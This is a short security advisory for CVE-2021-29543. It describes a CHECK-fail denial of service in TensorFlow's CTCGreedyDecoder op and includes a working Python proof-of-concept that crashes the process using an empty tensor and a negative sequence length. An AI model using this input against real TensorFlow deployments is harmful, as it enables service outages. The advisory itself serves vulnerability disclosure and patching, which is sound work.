CVE-2021-29543: CHECK-fail in `CTCGreedyDecoder`
(updated )
An attacker can trigger a denial of service via a CHECK-fail in tf.raw_ops.CTCGreedyDecoder:
import tensorflow as tf
inputs = tf.constant([], shape=[18, 2, 0], dtype=tf.float32)
sequence_length = tf.constant([-100, 17], shape=[2], dtype=tf.int32)
merge_repeated = False
tf.raw_ops.CTCGreedyDecoder(inputs=inputs, sequence_length=sequence_length, merge_repeated=merge_repeated)
